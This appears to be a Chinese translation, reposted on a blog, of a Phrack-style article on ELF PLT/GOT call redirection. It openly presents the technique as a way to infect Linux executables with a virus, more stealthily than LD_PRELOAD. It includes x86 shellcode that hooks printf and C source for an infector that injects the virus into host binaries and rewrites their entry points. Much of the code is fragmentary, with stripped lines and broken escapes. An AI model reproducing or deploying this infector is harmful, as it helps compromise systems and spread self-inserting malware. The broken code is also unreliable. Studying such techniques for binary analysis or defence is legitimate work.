1、简介 本文讨论了一个修改ELF文件实现共享库调用重定向的方法。修改可执行文件的程序连接表(Procedure Linkage Table)可以使被感染的文件调用外部的函数。这要比修改LD_PRELOAD环境变量实现调用的重定向优越的多,首先不牵扯到环境变量的修改,其次是更为隐蔽。本文将提供一个基于x86/Linux的实现。如果你对UNIX系统 病毒比较感兴趣请参考以下网址: http://virus./ (UNIX病毒邮件列表) 2、程序连接表(Procedure Linkage Table) 下面是ELF规范中,关于程序连接表的叙述: 程序连接表(PLT) 在ELF文件中,全局偏移表(Global Offset Table,GOT)能够把位置无关的地址定位到绝对地址,程序连接表也有类似的作用,它能够把位置无关的函数调用定向到绝对地址。连接编辑器(link editor)不能解决程序从一个可执行文件或者共享库目标到另外一个的执行转移。结果,连接编辑器只能把包含程序转移控制的一些入口安排到程序连接表(PLT)中。在system V体系中,程序连接表位于共享正文中,但是它们使用私有全局偏移表(private global offset table)中的地址。动态连接器(例如:ld-2.2.2.so)会决定目标的绝对地址并且修改全局偏移表在内存中的影象。因而,动态连接器能够重定向这些入口,而勿需破坏程序正文的位置无关性和共享特性。可执行文件和共享目标文件有各自的程序连接表。 .PLT0ushl got_plus_4 .PLT0ushl 4(%ebx) 注意:从两个表中可以看出,两种方式的指令使用不同的操作数寻址模式。但是,它们和动态连接器的接口是一样的。 下一步,动态连接器和程序本身使用程序连接表和全局偏移表共同解析符号引用。 1).当第一次建立程序的内存影象时,动态连接器会把全局偏移表的第二和第三个入口设置为特定的值。下面会对这些值进行介绍。 2).如果程序连接表是位置无关的,需要把全局偏移表地址保存在%ebx中。进程影象中的每个共享目标文件都有自己的程序连接表,而且程序的执行流程改变时,也只能跳转到同一个目标文件的程序连接表入口。例如:一个程序foo,它的动态连接库为bar.so,它们都有自己程序连接表,那么foo正文段调用某个程序连接表入口时,只能跳转到foo文件自己的程序连接表,而不能转到bar.so的程序连接表中。因此,在调用程序连接表入口之前,函数调用代码应该设置全局偏移表的基址寄存器。 3).为了便于描述,我们假设程序要调用另一个目标文件的函数name1,因此首先需要把程序执行控制权转移到标记为.PLT1的代码处。 4).这段代码的第一条指令就是,跳转到name1在全局偏移表的入口地址。因为name1是在另一个目标文件中的调用,所以在初始化时,全局偏移表没有保存name1的真实地址,而只是保存了这段代码第二条指令pushl的地址。 5).因而,程序会接着执行第二条指令,在栈压入一个重新定位的偏移值(offset)。这个重新定位的偏移值是重定位表中的一个32位的非负字节偏移值。这个特指的重定位入口是R_386_JMP_SLOT类型的,它的偏移值将指定先前jmp指令用到的全局偏移表的入口。重定位入口还有一个符号表索引,告诉动态连接器哪个符号被引用,在这个例子中是name1。 6).在栈中压入重定位偏移值以后,程序接着就跳转到.PLT0,它是程序连接表的第一个入口。pushl指令在栈中压入第二个全局偏移表的入口(got_plus_4或者4(%ebx)),从而给动态连接器一个单字识别信息。程序接着跳转到全局偏移表的第三个入口中的地址(got_plus_8或者8(%ebx)),将控制权转移给动态连接器。 7).当动态连接器获得控制权,它就会展开栈,读出指定的重定位入口,找出符号表的值,把name1的真正地址保存到全局偏移表的name1入口中,然后将控制权转移给目的目标。 8).因此,如果再次调用name1,就会直接从程序连接表入口转移到name1,而不必再次调用动态连接器。也就是说,.PLT1的jmp指令将转移到name1,而不是接着执行push1指令。 LD_BIND_NOW环境变量能够改变动态连接行为。如果这个环境变量不为空,动态连接器在把控制权交给程序之前会先为程序连接表赋值。也就是说,在进程初始化期间,动态连接器为R_386_JMP_SLOT类型的重定位入口赋值,以便在第一次调用时,不必通过动态连接器就能够跳转到目标地址。反之,如果这个环境变量为空,动态连接器就暂不为程序连接表入口赋值,不对符号进行解析和重定位,直到第一次调用一个程序连接表入口,才对其做相应的处理。这种方式叫作后期连接(lazy binding)方式。 注意:后期连接(lazy binding)方式一般会大大提高应用程序的性能,因为不必为解析无用的符号浪费动态连接器的开销。不过,有两种情况例外。第一,对一个共享目标函数进行初始化处理花费的时间比调用正式的执行时间长,因为动态连接器会拦截调用以解析符号,而这个函数功能又比较简单;第二,如果发生错误和动态连接器无法解析符号,动态连接器就会终止程序。使用后期连接方式,这种错误可能会在程序执行过程中,随时发生。而有些应用程序对这种不确定性有比较严格的限制。因此,需要关闭后期连接方式,在应用程序接受控制权之前,让动态连接器处理进程初始化期间发生的这些错误。 下面将对其细节做一些解释: 因为在编译时共享库的调用不能被连接到程序中,所以需要对其做特殊处理。直到程序运行时,共享库才是有效的。PLT就是为了处理这种情况。PLT保存调用动态连接器的有关代码,由动态连接器对所需例程进行定位。 可执行目标是调用PLT的某个入口来实现对共享库例程的调用,而不是直接调用共享库例程。然后,由PLT解析符号表示什么以及进行其它操作。 下列代码来自ELF规范: .PLT1:jmp *name1_in_GOT 从这段代码中可以得到一些重要的信息。这是一个例程调用,而不是库调用。进程初始化之后,name1_in_GOT指向后面的push1指令。offset代表一个重定位偏移值(参见ELF规范),它包含一个符号引用,这个符号表示这个库调用,使后面的jmp指令能够跳转到动态连接器。为了避免下次调用这个共享库例程时重复这个流程,动态连接器接着会修改name1_in_GOT,让其直接指向这个例程,这样就能够节约再次调用的时间。 上面的叙述总结了PLT在搜索库调用时的重要性。因此,我们可以修改name_in_GOT使其指向我们自己的代码,取代原先库调用,实现病毒的传染。如果在取代之前,我们保存GOT的状态,那么还能够重新调用原来的库调用,而且可以实现任意库调用的重定向。 3、感染ELF文件 为了实现库调用的重定向,需要在可执行目标文件中加入新的代码。本文我们将不涉及这方面的问题,这在http://www./~silvio已经有专门的文章论述。 4、PLT重定向 入口点的算法如下: 把正文段标记为可写 保存PLT(GOT)入口 使用新的库调用地址代替PLT(GOT)入口 新的库调用算法如下: 实现新的库调用的功能 保存原来的PLT(GOT)入口 调用库调用 再次保存PLT(GOT),如果它被修改了的 使用新的库调用的地址代替PLT(GOT)入口 为了更清楚地解释PLT重定向是如何工作的,我们在此解析一段简单的代码。在这段代码中被重定向的是printf,新的代码是在printf输出一个字符串之前,打印一条消息。 好吧,现在开始: 首先保存寄存器 "x60" /* pusha */ 把正文段标记为rwx。因为正文段通常是不可写的,所以为了能够修改PLT,我们需要把它改为可写的,通过mprotect系统调用。 "xb8x7dx00x00x00" /* movl $125,%eax */ 保存旧的库调用的PLT(GOT)引用,使用新的库调用地址代替: "xa1x00x00x00x00" /* movl plt,%eax */ 恢复寄存器 "x61" /* popa */ 向回跳转到最初的入口: "xbdx00x80x04x08" /* movl $entry,%ebp */ 新的库调用: /* newcall: */ 获得将要输出的字符串地址: "xebx38" /* jmp msg_jmp */ 通过Linux系统调用输出字符串: "xb8x04x00x00x00" /* movl $4,%eax */ 把旧的库调用恢复到PLT(GOT),以便我们调用: "xb8x00x00x00x00" /* movl $oldcall,%eax */ 获得原来的printf函数参数: "xffx75xfc" /* pushl -4(%ebp) */ 调用原来的库函数: "xffxd0" /* call *%eax */ 从PLT(GOT)保存原来的库调用。记住:完整对这个库函数的调用之后,PLT(GOT)的值可能会发生改变,以此我们每次都要保存它的值。实际上,只是在第一次调用之后,这个值会被修改(由动态连接器),但是我们不能掉以轻心。 "xa1x00x00x00x00" /* movl plt,%eax */ 使PLT(GOT)指向新的库函数: "xc7x05x00x00x00" /* movl $newcall,plt */ 清理参数: "x58" /* popl %eax */ 恢复寄存器: "x61" /* popa */ 从函数返回: "xc3" /* ret */ 获得输出字符串的地址: /* msg_jmp */ 被输出的字符串: "INFECTED Host " 5、将来的研究方向 直接感染共享库可能可以实现库调用的重定向,这种方式的效果更为理想,因为这样可以影响所有使用被感染动态库的可执行目标文件。还有一种可能就是不修改可执行目标文件,而是修改程序运行时的进程影象。 6、结论 本文描述了一个通过感染可执行文件PLT实现共享库调用重定向的方法。这个技术比使用LD_PRELOAD环境变量更为隐蔽。 附录:程序代码 由于原来代码的一个地方与新的glibc库不兼容,造成无法编译,所以对do_elf_checks函数作了一点小小的改动,nixe0n <++> p56/PLT-INFECTION/PLT-infector.c !fda3c047 #define PAGE_SIZE 4096 static char v[] = "xb8x7dx00x00x00" /* movl $125,%eax */ "xa1x00x00x00x00" /* movl plt,%eax */ "x61" /* popa */ "xbdx00x80x04x08" /* movl $entry,%ebp */ /* newcall: */ "xebx37" /* jmp msg_jmp */ "xb8x00x00x00x00" /* movl $oldcall,%eax */ "x58" /* popl %eax */ "xc3" /* ret */ /* msg_jmp */ "INFECTED Host " char *get_virus(void) int init_virus( *(int *)&v[7] = text_start; int copy_partial(int fd, int od, unsigned int len) while (n + PAGE_SIZE < len) { if (write(od, idata, PAGE_SIZE) < 0) { n += PAGE_SIZE; r = read(fd, idata, len - n); if (write(od, idata, r) < 0) { return 0; void do_elf_checks(Elf32_Ehdr *ehdr) if (ehdr->e_type != ET_EXEC) { if (ehdr->e_machine != EM_386) { if (ehdr->e_version != EV_CURRENT) { int do_dyn_symtab( string = (char *)malloc(strtabhdr->sh_size); if (lseek( if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) { sym = (Elf32_Sym *)malloc(shdrp->sh_size); if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) { if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) { symp = sym; for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) { ++symp; free(string); int get_sym_number( for (i = 0; i < ehdr->e_shnum; i++) { ++shdrp; void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym) rel = (Elf32_Rel *)malloc(shdr->sh_size); if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) { if (read(fd, rel, shdr->sh_size) != shdr->sh_size) { relp = rel; for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) { *plt = -1; void find_rel( sym = get_sym_number(fd, ehdr, shdr, sh_function); for (i = 0; i < ehdr->e_shnum; i++) { ++shdrp; void infect_elf( { fd = open(host, O_RDONLY); /* read the ehdr */ if (read(fd, &ehdr, sizeof(ehdr)) < 0) { do_elf_checks(&ehdr); /* modify the virus so that it knows the correct reentry point */ printf("host entry point: %x /* allocate memory for phdr tables */ pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum); /* read the phdr's */ if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) { if (read(fd, pdata, plen) != plen) { /* allocated memory if required to accomodate the shdr tables */ sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum); /* read the shdr's */ if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) { if (read(fd, sdata, slen) != slen) { strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx]; string = (char *)malloc(strtabhdr->sh_size); if (lseek( if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) { find_rel( for (i = 0; i < ehdr.e_phnum; i++) { /* is this the data segment ? */ if (init_virus != NULL) ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz; break; ++phdr; /* update the shdr's to reflect the insertion of the virus */ addlen = len + bss_len; shdr = (Elf32_Shdr *)sdata; for (i = 0; i < ehdr.e_shnum; i++) { ++shdr; /* phdr = (Elf32_Phdr *)pdata; for (i = 0; i < ehdr.e_phnum; i++) { phdr->p_filesz += addlen; #ifdef DEBUG ++phdr; /* update ehdr to reflect new offsets */ if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen; if (fstat(fd, &stat) < 0) { /* write the new virus */ if (mktemp(tempname) == NULL) { od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode); if (lseek(fd, 0, SEEK_SET) < 0) { if (write(od, &ehdr, sizeof(ehdr)) < 0) { if (write(od, pdata, plen) < 0) { if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) { if (copy_partial(fd, od, offset - pos) < 0) goto cleanup; for (i = 0; i < bss_len; i++) write(od, &null, 1); if (write(od, get_virus(), len) != len) { if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup; if (write(od, sdata, slen) < 0) { if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) { if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup; if (rename(tempname, host) < 0) { if (fchown(od, stat.st_uid, stat.st_gid) < 0) {
return; cleanup: int main(int argc, char *argv[]) infect_elf( exit(0); |
|
来自: astrotycoon > 《链接加载》